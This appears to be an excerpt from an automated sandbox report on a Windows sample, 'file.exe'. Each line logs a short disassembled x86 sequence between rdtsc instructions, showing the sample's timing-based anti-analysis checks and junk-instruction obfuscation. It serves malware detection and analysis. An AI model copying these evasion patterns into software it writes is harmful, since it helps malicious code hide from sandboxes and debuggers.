Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59417E second address: 59418C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC51CCBAE86h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594311 second address: 594315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594315 second address: 594319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 594C62 second address: 594C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5950CC second address: 5950D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527B09 second address: 527B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC51CADF615h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527B28 second address: 527B38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FC51CCBAE86h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59AECA second address: 59AF00 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC51CADF616h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FC51CADF60Eh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push esi 0x00000013 je 00007FC51CADF606h 0x00000019 push edx 0x0000001a pop edx 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FC51CADF60Fh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59AF00 second address: 59AF04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59AF04 second address: 59AF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B07C second address: 59B08C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B308 second address: 59B30E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B5C5 second address: 59B5E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CCBAE99h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B5E2 second address: 59B5EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B742 second address: 59B758 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B8DE second address: 59B8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CADF611h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B8F4 second address: 59B8FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B8FA second address: 59B900 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B900 second address: 59B917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FC51CCBAE86h 0x00000011 jp 00007FC51CCBAE86h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BBBC second address: 59BBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FC51CADF613h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC51CADF615h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BBED second address: 59BBF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549B1A second address: 549B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 549B20 second address: 549B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59F31D second address: 59F325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51DE36 second address: 51DE3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51DE3A second address: 51DE40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51DE40 second address: 51DE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A47FF second address: 5A481F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF60Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007FC51CADF608h 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A481F second address: 5A4824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F432 second address: 548F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FC51CADF608h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 lea eax, dword ptr [ebp+12475225h] 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007FC51CADF608h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 00000017h 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 mov edx, dword ptr [ebp+122D39C4h] 0x00000049 push eax 0x0000004a ja 00007FC51CADF61Ah 0x00000050 mov dword ptr [esp], eax 0x00000053 cmc 0x00000054 call dword ptr [ebp+122D374Ah] 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d push edi 0x0000005e pop edi 0x0000005f push edi 0x00000060 pop edi 0x00000061 push esi 0x00000062 pop esi 0x00000063 popad 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F51C second address: 55F522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F522 second address: 55F527 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F5F2 second address: 55F5F8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F5F8 second address: 55F61A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF612h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007FC51CADF610h 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55FA21 second address: 55FA25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55FECD second address: 55FEEE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC51CADF615h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55FEEE second address: 55FEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560719 second address: 56071E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56071E second address: 560791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FC51CCBAE88h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 lea eax, dword ptr [ebp+12475225h] 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007FC51CCBAE88h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 0000001Bh 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 add dword ptr [ebp+122D1BFAh], eax 0x0000004c push eax 0x0000004d push esi 0x0000004e push eax 0x0000004f push edx 0x00000050 push edx 0x00000051 pop edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560791 second address: 560795 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560795 second address: 549B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a or ch, 0000000Fh 0x0000000d mov ecx, 0EC56A55h 0x00000012 call dword ptr [ebp+122D3502h] 0x00000018 jc 00007FC51CCBAE98h 0x0000001e pushad 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 pushad 0x00000022 popad 0x00000023 jnp 00007FC51CCBAE86h 0x00000029 jl 00007FC51CCBAE86h 0x0000002f popad 0x00000030 push esi 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3A0F second address: 5A3A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3A17 second address: 5A3A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3CCA second address: 5A3CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007FC51CADF606h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3CD8 second address: 5A3CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jbe 00007FC51CCBAE86h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4201 second address: 5A4210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FC51CADF606h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4210 second address: 5A4214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A4214 second address: 5A421E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC51CADF606h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A421E second address: 5A4224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7EB9 second address: 5A7EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7EBF second address: 5A7ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC51CCBAE8Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7ED4 second address: 5A7EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FC51CADF619h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9FFB second address: 5AA006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA006 second address: 5AA00A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD03E second address: 5AD058 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC51CCBAE86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FC51CCBAE92h 0x00000012 jp 00007FC51CCBAE86h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD058 second address: 5AD05C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD1DA second address: 5AD1DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD1DE second address: 5AD1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 js 00007FC51CADF620h 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FC51CADF606h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B45AB second address: 5B45C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FC51CCBAE8Dh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518B42 second address: 518B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CADF60Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518B51 second address: 518B75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC51CCBAE8Eh 0x00000008 ja 00007FC51CCBAE86h 0x0000000e jmp 00007FC51CCBAE8Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B38C9 second address: 5B38D8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC51CADF606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3BEC second address: 5B3BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BA347 second address: 5BA34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8C7E second address: 5B8C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8C84 second address: 5B8CA4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC51CADF606h 0x00000008 ja 00007FC51CADF606h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ecx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 js 00007FC51CADF61Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8CA4 second address: 5B8CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8CA8 second address: 5B8CAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8E11 second address: 5B8E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8E17 second address: 5B8E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8F8A second address: 5B8F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8F93 second address: 5B8F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B90C3 second address: 5B90CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD474 second address: 5BD47F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD47F second address: 5BD4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CCBAE8Bh 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FC51CCBAE91h 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD4A5 second address: 5BD4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCC36 second address: 5BCC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCC40 second address: 5BCC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCC46 second address: 5BCC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FC51CCBAE8Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCC5A second address: 5BCC68 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC51CADF606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCC68 second address: 5BCC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCD96 second address: 5BCDA0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC51CADF606h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD1C9 second address: 5BD1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4F6F second address: 5C4F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC51CADF606h 0x0000000a popad 0x0000000b jnc 00007FC51CADF612h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 jl 00007FC51CADF606h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C35AA second address: 5C35B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3883 second address: 5C3898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CADF611h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3898 second address: 5C38B3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC51CCBAE86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b jnp 00007FC51CCBAE98h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 jc 00007FC51CCBAE86h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3BAE second address: 5C3BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CADF611h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3BC3 second address: 5C3BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4151 second address: 5C4174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF610h 0x00000007 jc 00007FC51CADF606h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jg 00007FC51CADF606h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4452 second address: 5C446D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007FC51CCBAE94h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C446D second address: 5C4472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4472 second address: 5C4478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4478 second address: 5C447E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C447E second address: 5C4484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
